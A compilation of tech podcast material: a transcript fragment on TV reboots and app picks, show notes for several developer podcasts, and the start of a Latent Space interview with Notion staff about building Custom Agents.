uh, I, which I, I love. And I’m like, okay. You know, I mean, I would’ve loved to see Joey too, but I don’t blame him for being like, no. Brett: Yeah. Jeff: Yeah. Yeah. Brett: neither, neither did the other actors, I don’t think. I think, uh, it, it wasn’t necessary to Christina: no, I was gonna say he wasn’t because Brett: the Yeah, Christina: mean, look, they were able to do Fuller House without the Olson [00:58:00] twins who were a much bigger part of that show Jeff: Fuller Christina: ever was. And, and I, I, I’m not even like defending Fuller house. Like it was, it was fine. It was whatever. But like, even that, you were like, there were enough characters where you’re like, okay, so, so Michelle isn’t here. And that would’ve been weird, to be honest. I don’t think that, like I know that everybody would’ve loved having the cameo, but it’s like, how in the hell are you gonna have the Olson twins, like as adults, even in a cameo on Fuller House without just completely taking you out of the whole thing. You know what I mean? Brett: Yeah. Christina: Like, it just, it just wouldn’t be possible. But Gratitude App Picks Brett: we try to fit in a gude before Jeff: Should we grab, Christina: yeah. Let’s do a gratitude. Brett: Um, I can kick it off. I got one I’m excited about. Um, found this app called Bezel. Um, I needed to do iOS screenshots and I needed to do iOS recordings, and I played around with using Screen flow and screen Studio and Camtasia, and I didn’t like [00:59:00] any of the ways that they recorded iOS movies. And then I found Bezel and I mean, c So screen recording built into iOS, in my opinion, is better than any of the like screen casting apps can do. Um, but bezel, if you, if you hard co hardwire your phone to your computer and turn on screen, mirroring it can record. Perfect. Um. iOS recordings, and it’s really good at just taking screenshots with a single key key command. You get a screenshot with a bezel like the outline of the phone and a desktop background behind it. So I can just hit command S as I like, move through my phone, uh, and then my right hand on my phone, my left hand on my keyboard, and I can get a dozen iOS screenshots in five minutes, and they’re ready to go, like ready to [01:00:00] publish. It’s really nice. Jeff: That’s really awesome. I’m gonna try that. Christina: Same, same. Do you have one Brett, or do you want me to, or uh, Jeff do or do you want me to go. AI Tools and Claude Code Jeff: Uh, I’m happy to go. Um, so this is, this is, uh, an easy one in a way, but I, I wanna be specific about what’s been so useful. So I’ve been using cloud code and vs code forever. I mean for the last, I’d say two or three months. ’cause I’ve got really, really deep into using cloud code actually for qualitative work. Um, but also a totally bananas project I built that has both a. Physical component and a heavy duty code component, which I’ll talk about sometime. Um, but, um, I, and I’ve used the desktop app for cowork and for like just the standard chat and I’ve loved that, but I never used it for cloud code until this latest update, which added like a really amazing interface for cloud code. Um, which is kind of my gratitude is that tab of the desktop app, which like, when you open it up, it gives you like just an awesome little like, work summary of like comedy sessions [01:01:00] you’ve had, how many total tokens you’ve used, like overall the last 30 days, the last seven days, what your peak hour is your longest streak. It has the like GitHub, like little chart that fills in. Um, and, uh, and, and that’s like been really cool to see. Um, and you can also see your usage of various models. It’s just a nice little thing that pops up. And then when you’re actually working, it’s really amazing because you can pull up these sidebars that have like diffs or like a preview or you can just get a terminal open in there. Um, and I have. I have loved that. I still like feel more at home in the VS.
This week Singpolyma joins us to talk about the Cheogram web app. We talk about NASA's Orion Artemis II Optical Communications System (O2O) and how it's changing the way long distance communication works! -- During The Show -- 00:48 - Special Guest Singpolyam cross platform core Cheogram Web App Still considered Alpha Pretty stable Voice, Video, Text JMP.chat data only sim esim adapter Snikket Affect of Google forcing developer registration JMP.Chat 10:38 Comprehension debt Creating prompts Spec driven developing Most people don't read the code No person understands how the code works Peer review vs AI Amazon outages When to use AI code Re-implementing AI code AI summary Rating your understanding RAID log 24:30 Linux Router - Connor VyOS OpenWRT PFSense is out Look for things with an API PFSenseible GitHub Site to Site in medical Dicom Why not to use pfSense OPNsense 35:30 JMP.chat - Aaron Cheogram Web App Webapp Manager GitHub 36:15 System Fails to boot -Advait Can't remember the last time it happened Noah doesn't fix systems Reinstall plus ansible 41:12 News Wire Nginx 1.30 - nginx.org OpenSSL 4.0 - github.com Gnome 50.1 - gnome.org KDE Gear 26.04 - kde.org Mir 2.26 - ubuntu.com Linux 7.1 - theregister.com Zorin OS 18.1 - blog.zorin.com Solus 4.9 - getsol.us Cachy OS has 7.0 Kernel - xda-developers.com Thunderbolt AI Client - phoronix.com Cal Closeing Source Code - zdnet.com 42:25 Sleuth's Feedback VyOS Uses a JSON config file Have the system make backups Supports podman containers System failing to boot Your data is still there Boot from a live distro 45:30 Artemis II Mission Crew Module ESM - European Service Module Radio waves O2O communications 1 watt of power focused beam, sensitive receiver 260 MbPs TechSpot -- The Extra Credit Section -- For links to the articles and material referenced in this week's episode check out this week's page from our podcast dashboard! This Episode's Podcast Dashboard Phone Systems for Ask Noah provided by Voxtelesys Join us in our dedicated chatrSpecial Guest: Stephen Paul Weber.
Hoje o papo é sobre a volta dos arquivos texto. Neste episódio, mergulhamos em como formatos simples e legíveis ganharam ainda mais relevância na era da IA, por que eles ajudam humanos e máquinas a se entenderem melhor, e como esse tipo de estrutura vem se tornando uma nova forma de alfabetização digital. Vem ver quem participou desse papo: Paulo Silveira, o host que escreveu uma carta de amor Sérgio Lopes, cofundador da Alura e CEO do Alun Future Studio Vinny Neves, cohost, dev e professor na Alura Links: Lumina Tweet do Paulo sobre o JSON do MASP Markdown YAML grep CURSO Claude Code: criando sua primeira aplicação Inscreva-se na Hipsters.Builders, a newsletter da comunidade builder. Toda semana, a principal newsletter de quem constrói software no Brasil traz notícias, citações e movimentos da comunidade Builder do X, do Hipsters e do IA Sob Controle, além dos melhores links e eventos. Direto no seu e-mail. Vá para o Vale do Silício com Paulo Silveira, Marcell Almeida, Fabrício Carraro e Marcus Mendes na “Imersão IA Sob Controle e Alura no Vale do Silício“! Vagas limitadas, corra para reservar a sua. TechGuide.sh, um mapeamento das principais tecnologias demandadas pelo mercado para diferentes carreiras, com nossas sugestões e opiniões. #7DaysOfCode: Coloque em prática os seus conhecimentos de programação em desafios diários e gratuitos. Acesse https://7daysofcode.io/ Produção e conteúdo: Alura Cursos de Tecnologia – https://www.alura.com.br Edição e sonorização: Rede Gigahertz de Podcasts
What if you could parse your Altium project files from the command line, generate a full BOM in seconds, extract net lists as AI-readable JSON, and spin up a 3D HTML viewer with zero dependencies — all without ever opening Altium? In this episode of the OnTrack Podcast, host Zach Peterson sits down with Eli Hughes, principal at Wavenumber LLC, to dig into a suite of open-source tools he's built around Altium file formats. Eli walks through the Altium Cruncher toolset, including Mega Maid (a vacuum-cleaner-style data extractor), a 3D PCB visualizer, and a schematic viewer with animated net tracing — all self-contained HTML files requiring no install or cloud connection. The conversation goes far beyond visualizers. Eli reveals how he feeds parsed net lists directly into Claude and Codex for AI-assisted design reviews, power tree analysis, and even automatic Zephyr device tree generation — completing in minutes what used to take a full day. He also lays out his vision for a next-generation PDM system: an AI-queryable knowledge store that ingests decades of schematic history, EVK reference designs from TI, Renesas, NXP, and more, and supply chain data — so engineers can stop reinventing the wheel and start building on proven, procurable circuits. If you care about PCB workflow automation, AI-assisted hardware development, or the future of design reuse, this episode is essential viewing.
Scott and Wes dig into a huge batch of community-submitted projects, from JSON tools and CSS editors to AI agents, view transitions, and everything in between. It's a rapid-fire showcase of what developers have been building, including picks like Arrow JS, Sugar High, Drift, and a whole lot more. Show Notes 00:00 Welcome to Syntax! Wes' Bluesky Post Wes' X Post 01:20 JSON-Alexander. 02:43 FFF - Fastest File Search. 04:44 View Transitions Toolkit. 08:06 Agentation and Svelte Agentation. 11:21 CSS Studio. 13:12 Peon Ping 14:26 Peekdown. 16:03 Dex. 20:22 Content Copilot. 22:16 Opencode Sentry Monitor. pi-sentry-monitor. 24:56 Arrow JS. 29:20 Comark. 33:19 Silly Software Club. 34:05 Sugar High. 36:04 Drift. 37:19 Fallow. 41:20 Edit Mind. 44:46 Clint. 47:18 Honorable mentions. 47:21 Artemisapp. 49:53 Open Screen. 50:14 CanvidHQ. 52:02 Proxybox Zero. Hit us up on Socials! Syntax: X Instagram Tiktok LinkedIn Threads Wes: X Instagram Tiktok LinkedIn Threads Scott: X Instagram Tiktok LinkedIn Threads Randy: X Instagram YouTube Threads
Topics covered in this episode: Django Modern Rest Already playing with Python 3.15 Cutting Python Web App Memory Over 31% tryke - A Rust-based Ptyhon test runner with a Jest-style API Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Django Modern Rest Modern REST framework for Django with types and async support Supports Pydantic, Attrs, and msgspec Has ai coding support with llms.txt See an example at the “showcase” section Brian #2: Already playing with Python 3.15 3.15.0a8, 2.14.4 and 3.13.13 are out Hugo von Kemenade beta comes in May, CRs in Sept, and Final planned for October But still, there's awesome stuff here already, here's what I'm looking forward to: PEP 810: Explicit lazy imports PEP 814: frozendict built-in type PEP 798: Unpacking in comprehensions with * and ** PEP 686: Python now uses UTF-8 as the default encoding Michael #3: Cutting Python Web App Memory Over 31% I cut 3.2 GB of memory usage from our Python web apps using five techniques: async workers import isolation the Raw+DC database pattern local imports for heavy libraries disk-based caching See the full article for details. Brian #4: tryke - A Rust-based Ptyhon test runner with a Jest-style API Justin Chapman Watch mode, Native async support, Fast test discovery, In-source testing, Support for doctests, Client/server mode for fast editor integrations, Pretty, per-assertion diagnostics, Filtering and marks, Changed mode (like pytest-picked), Concurrent tests, Soft assertions, JSON, JUnit, Dot, and LLM reporters Honestly haven't tried it yet, but you know, I'm kinda a fan of thinking outside the box with testing strategies so I welcome new ideas. Extras Brian: Why are't we uv yet? Interesting take on the “agents prefer pip” Problem with analysis. Many projects are libraries and don't publish uv.lock file Even with uv, it still often seen as a developer preference for non-libarries. You can sitll use uv with requirements.txt PyCon US 2026 talks schedule is up Interesting that there's an AI track now. I won't be attending, but I might have a bot watch the videos and summarize for me. :) What has technology done to us? Justin Jackson Lean TDD new cover Also, 0.6.1 is so ready for me to start f-ing reading the audio book and get on with this shipping the actual f-ing book and yes I realize I seem like I'm old because I use “f-ing” while typing. Michael: Python 3.14.4 is out Beanie 2.1 release Joke: HumanDB - Blazingly slow. Emotionally consistent.
Jake and Michael discuss all the latest Laravel releases, tutorials, and happenings in the community.Show linksUnitTest Attribute and More in Laravel 13.3.0Tim MacDonald's testing performance tipsPestPHP Intellisense in Laravel VS Code Extension v1.7.0Axios npm Package Compromised With Remote Access TrojanPHPantom: A Fast PHP Language Server Built in RustPhpStorm 2026.1 ReleasedPAO: Agent-Optimized Output for PHP Testing ToolsManage Laravel Cloud from the Terminal with the New Cloud CLIMatt Stauffer Joins the PHP Foundation Board — What It Means for LaravelJSON Alexander Gives Developers a Simpler, More Trustworthy Way to View JSON in the BrowserJSON HeroLaracon US 2026 AnnouncedFormRequest Strict Mode and Queue Job Inspection in Laravel 13.4.0Laravel Cloud Adds Path Blocking to Prevent Bots From Waking Hibernated AppsLaravel Starter Kits Now Include Toast NotificationsDrop in comments for Filament with CommentionsLog User Activity in Your Laravel App with Activity Log v5 Manage Software Licenses in Laravel with Laravel LicensingArtisanFlow: A Flowchart Engine for Laravel and Alpine.jsLaravel QuickBooks MCP Server: Connect QuickBooks Online to AI ClientsPretty PHP Info: A Modern Replacement for phpinfo()Passage: A Lightweight API Proxy Gateway for LaravelTutorialsBuild an AI Chat Agent with Laravel 12, MongoDB Atlas Vector Search, and Voyage AIShip AI with Laravel: Smart Ticket Triage with Structured OutputShip AI with Laravel: Stop Your AI Agent from GuessingMaking Laravel MongoDB Operations Idempotent: Safe Retries for Financial Transactions
If you're an engineering leader right now, everything around you feels like it's changing at once — new tools, new processes, new expectations. It's tempting to accept chaos as the new normal, but in today's episode, I make the case that your job is to go on the offense and *create* order. Not by clinging to old processes, but by becoming the groundskeeper of your team's ceremonies — the regular, repeated actions that give your team a foundation to actually improve from. Humans Are the Limiting Factor (And That's Okay): Our fundamental cognitive capabilities haven't changed in tens of thousands of years. Progress is collective — better tools, better documentation, better knowledge systems — but individually, our brains work the same way they always have. Any process that involves humans has to account for this. Why Ceremony Matters More Than Ever: Whether you call them scrum ceremonies, team rituals, or just "the way we work," regular and repeated team actions aren't bureaucratic overhead. They're how humans learn, build comfort, and reduce cognitive load. Just like sitting in the same seat at your coffee shop or driving the same route to work, repeated patterns free up mental energy for the things that actually require your attention. Regularity of Action Over Specific Process: This isn't a prescription for scrum or kanban or any particular framework. The point is that your team has some determined, repeated way of doing things — whether that's a weekly planning session, a daily standup, or a trigger-based refinement process. The specific process matters less than the consistency. Ceremony Enables Experimentation: If you want to get better, you need to be able to change one variable at a time and measure the result. That's impossible when everything is changing at once. Holding your core processes steady gives you the controlled environment you need to actually learn what's working and what isn't. Spot the Anomalies: When you maintain regularity, deviations become visible. If productivity dips but your ceremonies stayed constant, you have a much better shot at diagnosing what actually changed. Without that baseline, every signal gets lost in the noise. Episode Homework: Sit down with your team this week and talk about what your ceremonies are. What do you want to hold constant? What do you want to be true on a regular basis? Name them, write them down, and commit to tending them — even as everything else shifts around you.
For all those who missed out on London, see you in Miami next week!Notion, the knowledge work decacorn, has been building AI tooling since before ChatGPT, with many hits from Q&A in 2023 and unified AI in 2024 and Meeting Notes in 2025. At the end of their last Make user conference, Ryan Nystrom teased Notion 3.0's Custom Agents - and they are finally embracing the Agent Lab playbook!Sarah Sachs and Simon Last of Notion join us for a deep dive into how Notion built Custom Agents, why it took years and multiple rebuilds to get right, and what it means to turn a productivity tool into an agent-native system of record for enterprise work.We go inside the product, engineering, evals, pricing, and org design decisions behind one of the most ambitious AI product efforts in software today — from early failed tool-calling experiments in 2022 to agent harnesses, progressive tool disclosure, meeting notes as data capture, and the long-term vision for software factories and agentic work.We discuss:* Sarah and Simon's path to launching Notion Custom Agents, and why the feature was rebuilt four or five times before it was ready for production* Why early agent attempts failed: no tool-calling standard, short context windows, unreliable models, and too much complexity exposed to the model* The “Agent Lab” thesis: not just wrapping a model, but understanding how people collaborate and building the right product system around frontier capabilities* How Notion thinks about roadmap timing: not swimming upstream against model limitations, but also building early enough that the product is ready when the models are* Why coding agents feel like the kernel of AGI, and how Notion is thinking about “software factories” made up of agents that spec, code, test, debug, review, and maintain codebases together* How Sarah runs AI engineering at Notion (“notes from Token Town”): objective-setting over idea ownership, low-ego teams comfortable deleting their own work, and a culture designed to swarm around fast-changing opportunities* The “Simon Vortex,” company hackathons, and why security gets pulled in early rather than late* How Notion organizes AI: core AI capabilities and infrastructure, product packaging teams, and a broader company mandate that every product surface must increasingly work for both humans and agents* Why prototypes have become much easier to build internally, and how “demos over memos” changes product development inside a tool the whole company already uses every day* Notion's eval philosophy: regression tests, launch-quality evals, and “frontier/headroom” evals that intentionally only pass ~30% of the time so the company can see where model capabilities are going* What a “Model Behavior Engineer” is, and why Notion treats eval writing, failure analysis, and model understanding as a distinct function rather than just software engineering* The changing role of software engineers in the age of coding agents, and why the new job looks less like typing code and more like supervising a rigorous outer system of agents, PRs, and verification loops* How the “software factory” should work: specs, self-verification, bug flows, subagents, and minimizing human intervention while preserving the invariants that matter* A live walkthrough of a Notion Custom Agent handling coworking space tenant applications by triaging email, enriching applicants with web search, and writing structured data into a Notion database* How agents compose inside Notion: shared databases as primitives, agents invoking other agents, “manager agents” supervising dozens of specialized agents, and memory implemented simply as pages and databases* Notion's take on MCP vs CLI: why Simon is bullish on CLI's self-debugging nature, where MCP still makes sense, and how Sarah thinks about capability, determinism, permissioning, and pricing alignment* The evolution of Notion's internal agent harness: from early JavaScript coding agents, to custom XML, to Markdown and SQL-like abstractions, to tool definitions, progressive disclosure, and a much shorter system prompt* Why Notion cares about teaching “the top of the class,” building for sophisticated operators rather than abstracting away too much capability for everyone* How agent setup works today: agents that can configure themselves, inspect their own failures, and edit their own instructions — with guardrails around permissions* How Notion prices Custom Agents: credits as an abstraction over tokens, model type, serving tier, web search, and future sandbox costs; why usage-based pricing was necessary; and how “auto” tries to match the right model to the right task* Why Notion is not eager to train a foundation model, where they do fine-tune and optimize today, and why retrieval/ranking is one of the most important investment areas as more searches come from agents rather than humans* Why Meeting Notes became one of Notion's strongest growth loops: not just as transcription, but as high-signal data capture that powers search, custom agents, follow-up workflows, and the broader system of record for company collaboration* Why Notion is more interested in being the place where collaboration data lives than in building hardware themselves — and how wearables or other capture devices may eventually feed into that systemSarah SachsLinkedIn: https://www.linkedin.com/in/sarahmsachsX: https://x.com/sarahmsachsSimon LastLinkedIn: https://www.linkedin.com/in/simon-last-41404140X: https://x.com/simonlastFull Video EpisodeTimestamps* 00:00:00 Introduction and launching Notion Custom Agents* 00:01:17 Why Notion rebuilt agents four or five times* 00:03:35 Building for where models are going, not just where they are* 00:05:32 The Agent Lab thesis, wrappers, and product intuition* 00:08:07 User journeys, leadership, and low-ego AI teams* 00:13:16 The Simon Vortex, hackathons, and bringing security in early* 00:16:39 Team structure, demos over memos, and building for agents* 00:20:25 Evals, Notion's Last Exam, and the Model Behavior Engineer role* 00:27:37 Evals as an agent harness and the changing role of software engineers* 00:30:42 The software factory: specs, verification, and agent workflows* 00:32:18 Live demo: a custom agent for coworking space applications* 00:35:08 Composing agents, manager agents, and memory as pages* 00:38:15 Notion Mail, Gmail, native integrations, and tools* 00:39:43 MCP vs CLI and the cost of capability* 00:44:13 When Notion uses MCP vs building its own integrations* 00:47:43 The history of Notion's agent harness rebuilds* 00:55:35 Power users, public tools, and the setup agent* 00:58:01 Self-fixing agents, permissions, and “flippy”* 01:01:13 Pricing, credits, and choosing the right model automatically* 01:09:01 Why Notion isn't training its own frontier model* 01:14:07 Retrieval, ranking, and search built for agents* 01:17:27 Meeting Notes as data capture and workflow automation* 01:21:18 Wearables, hardware, and Notion as the system of record* 01:23:45 OutroTranscript[00:00:00] Alessio: Hey everyone. Welcome to the Latent Space podcast. This is Alessio founder of Kernel Labs and I'm joined by swyx, editor of the Latent Space.[00:00:11] swyx: Hello. Hello. We're back in the beautiful studio that, uh, Alessio has set up for us with Simon and Sarah from Notion. Welcome.[00:00:18] Sarah Sachs: Thanks for having us.[00:00:19] Alessio: Thanks for having us. Yeah.[00:00:20] swyx: Congrats on the launch recently the custom agents, finally it's here. How's it feel?[00:00:26] Sarah Sachs: We ship things slowly. So it had been in Alpha for a little bit and at the point at which is it's an alpha, um, there's a group of people that are making sure it's ready for prod, and then there's a group of people working on the next thing.So sometimes some of these launches are a bit delayed satisfaction, so it's quite nice to remind yourself all the work you did because we do have a habit of like. Being two or three milestones ahead. Uh, just ‘cause you have to be, you know, you can't get complacent. Um, but it's been great that people understood how this is helpful.And I think that's just easier in general building AI tools today than it was two, three years ago. People kind of get it and so that user education, um, there's just, it was our most successful launch in terms of free trials and converting people and things like that. It was really successful, so yeah.But there's a lot to build.[00:01:12] swyx: Making it free for three months helps.[00:01:16] Sarah Sachs: Yep.[00:01:17] Simon Last: It was definitely super exciting for me because it's probably the fourth or fifth time that we rebuilt that.[00:01:22] swyx: Yes.[00:01:23] Simon Last: And I mean,[00:01:24] swyx: you've been building this since like 20, 22.[00:01:26] Simon Last: Yeah, I mean, like, it was even right when we got access to like GPT four in late 20 22, 1 of the first ideas we had is like, oh, okay, let's make an agent that I, we used the word assistant at the time, there wasn't really the word, the word agent yet, but, oh, we'll give an access to all the tools the notion can do, and then it, we run in the background like, like do work for us.And then we just tried that many times and it just. Was too early. Um,[00:01:48] swyx: I need to force you to like double click on that. What is too early? What didn't work?[00:01:52] Sarah Sachs: We were fine to, like, before function calling came out. We were trying to fine tune with the Frontier Labs and with fireworks, like a function calling model on notion functions.This is right when I joined. I joined because, um, we needed a manager as Simon was needed to be able to go on vacation. So, uh, that's, that's around when I joined, so you can speak much more to it.[00:02:11] Simon Last: Yeah, we did partnerships with both philanthropic and open AI at different times, uh, to try to, at the time the, I mean, when we first tried, there wasn't even a constant of like tools yet.We, we sort of designed our own like, like tool calling framework and then we tried to fine tune the models to, uh, to use it over multiple turns. Um, and because it, it didn't work well out the box, I think. Yeah. The models are just too dumb and the context thing was also way too short.[00:02:37] Alsesio: Yeah.[00:02:37] Simon Last: Um, and yeah, we just kind of banged our head against it for a long time.Uh, unfortunately it was always like, there was always like sort of. Glimmers that it was working, but um, it never felt quite robust enough to be like a useful, delightful thing. Um, until I would say, uh, the big unlock was probably like Sonic 3.6 or seven, uh, early last year. And that's when we started working on our agent, which we shipped last year.Um, and then, and then uh, uh, custom agents, kinda a similar capability and that, that one just took longer because we, we just wanted to get the reliability up a lot higher. ‘cause it's actually running in the background.[00:03:14] Sarah Sachs: And the product interface of like permissions and understanding, you know, this custom agent is shared in a Slack channel with X group of people and has access to documents that are surfaced to Y group of people.And the intersect experts, Y might not be whole. And so how do you build the product around making sure administrators understand that permissioning took multiple swings.[00:03:35] Alsesio: Everything is hard back at the end of the day. Yeah. I'm curious, like when the models are not working, how do you inform the product roadmap of like, okay, we should probably build, expecting the models to be better at some reasonable pace, but at the same time we need to, you know, you had a lot of customers in 2022.It's not like you were a new company or like no user base.[00:03:54] Simon Last: Yeah, I mean I think there's always the balance of, you know, like you want to be a GI pilled and thinking ahead and building for where things are going. Uh, but also you wanna be like shipping useful things. And so we always try to like, like keep a balance there.You know, we. We try to take clear, like a portfolio approach. You know, we're always working on multiple projects and, and we're always trying to work on, you know, maintaining things where that have already shipped, like, like shipping new things that are like eminently working well and make them really good.And, and then we wanna always have a few projects that are a little bit crazy. Um,[00:04:23] Alsesio: and what are the a GI peel projects that you have today? I'm curious about, uh, you don't have to share exactly what you're working on, but I'm curious what are things today that maybe in 18 months people will be like, oh, obviously this was gonna work[00:04:35] Sarah Sachs: 18 months.[00:04:37] Alsesio: Yeah, 18 months is, you know,[00:04:37] Sarah Sachs: it's a long time and Yeah. Yeah.[00:04:39] Simon Last: I mean, there's a number of things happening. I think one thing that's becoming more clear is I think like, like, uh, coding agents are the kernel of EGI, sort of, everything is a coding agent. Mm-hmm. I think that's, that's sort of one, one direction.Um, and then, yeah, the exciting thing about that is sort of your agent can sort of bootstrap its own software and capabilities and actually debug and maintain them. And so yeah, we're, we're, we're thinking a lot about that. And then, yeah, like, like another category of things that I'm, I'm really excited about is like, uh, we call the software factory also.People are using this, uh, this, this sort of word. Um, basically it just means can you create sort of like a, as automated as possible, a workflow for developing debugging. Mm-hmm. Merging, reviewing, and maintaining a code base and a service where there's a bunch of agents working together inside, and like, like how does that work?[00:05:28] Sarah Sachs: If you think back to your initial question, like, why did this take so long? I think something,[00:05:32] swyx: I didn't say that, but Yes. Okay. Go ahead.[00:05:34] Sarah Sachs: Why, what, what changed over the three and half years of trying[00:05:37] swyx: it? Exactly. Right. Because most people always say like, it didn't work yet. Then reasoning models came, then it worked.I was like, okay, let's go a little[00:05:43] Sarah Sachs: bit. That's, I mean, that's part of it, but I think the other part of it that I actually think is really what will set notion apart for every new capability is we have like. Two skills that are crucial when it comes to frontier capabilities. One is not letting yourself swim upstream.So like quickly realizing if you're just pressing against model capabilities versus not exposing the model to the right information, not having the right infrastructure set up. That and of itself is the skill of intuition. And the second is to see, okay, you're not swimming upstream. Which direction is the river flowing and what is like, how do we think ahead about the product and start building it even if it's not great yet, so that when it is there, we're ready for it.Right? And like those can sometimes feel like counterintuitive things. Like we can be trying to fine tune a tool calling model when they don't exist yet. And that the trick is to not do that for too long, but realize that there was something there. And we've had a lot of things which like, um, we're just like not swimming in the right direction with the streams.I think we had multiple versions of transcription before we got meeting notes, right? Oh, I gotta talk[00:06:39] swyx: about that. Yeah.[00:06:40] Sarah Sachs: Yeah. Um, and so. I, I, I think that like we, we really closely partner with the Frontier Labs on capabilities and we also have to have strong conviction on, as those capabilities move.Notion is about being the best place for you to collaborate and do your work. And how does that narrative change if the way that we work changes?Yeah.[00:06:58] swyx: Yeah. You told me you were a fan of the Agent Lab thesis, and this is, this is kind of it, right?[00:07:02] Sarah Sachs: Right. I show that thesis to so many candidates. Like I have it as like micro chrome autofill.Um, at this point, like it's one of my most visitations[00:07:10] swyx: because like, is this the, here's why you should work in notion and not open, open eye. I, it's like,[00:07:14] Sarah Sachs: here's, here's what's different about it.[00:07:16] swyx: Yeah.[00:07:16] Sarah Sachs: And here's why. It's not just a rapper. I actually think more and more people understand it's not just a wrapper.[00:07:21] swyx: Yeah.[00:07:22] Sarah Sachs: Um, and by the way, like in the beginning, parts of what we build are wrappers on functionality. That works well, of course, but that's not really the most, um. I would say that's not the product that, that drives revenue. And that's not necessarily always what users need.[00:07:35] swyx: I mean, you know, notion is the AWS wrapper, but like the, the wrapper is very beautiful and like very, very well polished.So[00:07:40] Sarah Sachs: like the analogy,[00:07:41] swyx: like[00:07:42] Sarah Sachs: the analogy that I've been coming back to his Datadog in AWS[00:07:45] swyx: Yeah.[00:07:46] Sarah Sachs: So, uh, Datadog could not exist with, without cloud storage. Right. That it's kind of fundamental that that works. Um, and AWS has like a CloudWatch product, but Datadog is an expert on understanding how people want observability on the products they launch.And we're experts in understanding how people wanna collaborate, and that's really where our expertise lies.[00:08:04] swyx: Totally.[00:08:04] Sarah Sachs: Um, regardless of the tools that we use,[00:08:07] Alsesio: I'm kind of curious how you think about implicit versus explicit expertise. I feel like Datadog is half and half implicit and explicit. It's like they understand across markets and industries what engineering teams usually look for.With notion, it's almost like more of the expertise is at the edge because you as a platform, you're like so horizontal that the end user is not really the same. Mm-hmm. Like with Datadog, the end user is always like, yeah, an engineering lead, a kinda like SRE related person with notion. It can be anything.So I'm curious how you put that expertise into a product versus, you know, obviously it, WS cannot build notion. It's, that doesn't quite work in this case, but[00:08:44] Simon Last: it's, it's a little bit differently shaped. I think, you know, a classic vertical SaaS, like the data is kind of like that. They understand their individual customer very deeply.It's kinda a narrow slice, um, notion has always been super horizontal. And our, our task has always been to sort of balance these two somewhat opposing forces of like, we're listening to our customers and what they want us to build. It's a broad slice. And then also we're thinking about like, okay, how do we decompose what they want into, uh, nice primitives that are, that are really nice to use and we'll, we'll get us like as much bang for the buck as possible.And then, you know. Maintain the whole system, make it all like, like super clean and nice to use.[00:09:22] Sarah Sachs: We still have user journeys. I mean, we still focus on like core. I actually think the failure of our team is when we focus too much on what are cools that are, what are tools that are[00:09:31] Simon Last: mm-hmm.[00:09:31] Sarah Sachs: Cool tools. I actually think that's when we make have the least velocity because you still need some sort of focus on a user journey.So like for instance, we'll all sit down every Friday and look at the P 99 of like the most token exhaustive custom agent transcript and just look at why it didn't do well and cut a bunch of tasks. Like we still focus on like, this has, like this should work. Email triaging should work. Mm-hmm. Right. And similarly, like when we're talking about before building, um, chatting, um, before we started filming about, okay, how can I do PDF export?Well that's functionality that then merits. Maybe we should build a tool that has access to a computer sandbox in a file system and the ability to write code. Right? Right. Um, but it's because we're thinking about the fact that our users to do their, to do their daily work, need to export PDFs, not because we're like, Hmm, I think a computer tool could be cool.Like, let's just see what happens. Mm-hmm. Like we, we have to focus on some user journeys, otherwise we just don't have like, enough strategy to, to prioritize.[00:10:29] swyx: I think there's a lot of like really strong opinions that you've had. Do you have like sort of like a towel of Sarah Sachs? Like, you know, like what, how do you run your team?Like I feel like you just have accumulated all these strong opinions. Obviously part, part of this is your, your token town thing.[00:10:43] Sarah Sachs: I think the TAs working with Service X is, um, you'd have to, it depends who you ask. Um, I think it depends if you're on my team or a partner Right. Or a vendor.[00:10:54] swyx: Yeah. There other people want to run their teams the way that you're Yeah.You're like bringing these things. And then also similarly, uh, Simon, when you did the custom agents demo, you had like, well, we've been using custom agents and here's the super long list of everything that we do. No humans ever read it. Right? That's what you said. I was like,[00:11:07] Sarah Sachs: yeah. So I think for, for me, um, something that I learned very quickly and became very comfortable with was that my job was not to be the ideas per person or the technical expert.My job was to make it so that everybody understood the objective, had a resource to help prioritize what they should work on, and had an avenue to prioritize what they thought was important. And I think that's true with all, all leadership, but I think especially on the AI team. Almost all of our best ideas come from prototypes, from people that have a cool idea because they saw a user problem, and it's a huge disservice if all of those ideas have to pass, like the sniff test of what me and a product partner or Simon and Ivan decided were the direction, right?Because a lot of what we're doing is leaning into capabilities, so. I think that's the first thing is like, I don't really view like the role of engineering leadership as like, uh, hierarchical, nor has it ever been, but especially now, like very willing to change direction based on, um, like proof is in the pudding.Yeah. And like, and I think we have rebuilt our harness three or four times. And when you do that, then the second rule of engineering leadership is like you need to build a team that's comfortable deleting their own code and is very low ego and is driven by what's best for the company. And, um, doesn't write design docs because they think it's their promotion packet.Right. And that's a culture that notion had long before I joined, but like our willingness to just swarm on different problems and um, redo things that we've built before because something has changed. Like, there's a lot of friction that can happen at companies when you do that. And it doesn't happen at Notion.And because it doesn't happen when new people join. Like they don't wanna be the ones that are saying, we shouldn't do this. I wrote that code. So then it's, you know, you, you create a culture that everyone thoughts and that culture comes directly, I think from Simon and Ivan though, um, because they're very open-minded.[00:12:50] swyx: Anything that you,[00:12:50] Simon Last: you'd add? I'm not a manager, like, like, like Sarah is. Um, a lot of my role is really to try to think a little bit ahead, make sure that we're, we're building on the right capabilities and then like the prototyping stuff. And yeah, it's really, really critical to always just be starting again.It's like, okay, this is new thing. What does this mean? What if we just rethought everything or wrote everything? And so I, I'm, I'm basically just doing that in a loop every six months.[00:13:16] swyx: Yeah. Do you believe in internal hackathons for this stuff?[00:13:19] Sarah Sachs: I think there's like two different versions. So one is like, we just have a, a, a solid bench of senior engineers that come and go on what we call the Simon Vortex and Productionizing what we built, right?Because when you're in the Simon Vortex, the velocity is super high. The direction changes daily, and it's meant to be like the equivalent of a SC Works lab. We don't need to do hackathons for that. We need to have senior engineers that we trust to come in and out of those projects. For instance, like management boundaries are really loose.Like you report to him, but you work for her right now. Yeah. That's something that when we hire managers, it's important they don't care about because we tend to form more structures. Yeah. Don't be too[00:13:54] swyx: territorial.[00:13:55] Sarah Sachs: We form more. It's after we ship things, not not before, just historically. Um, the second thing is we do have companywide hackathons.Actually we just had our 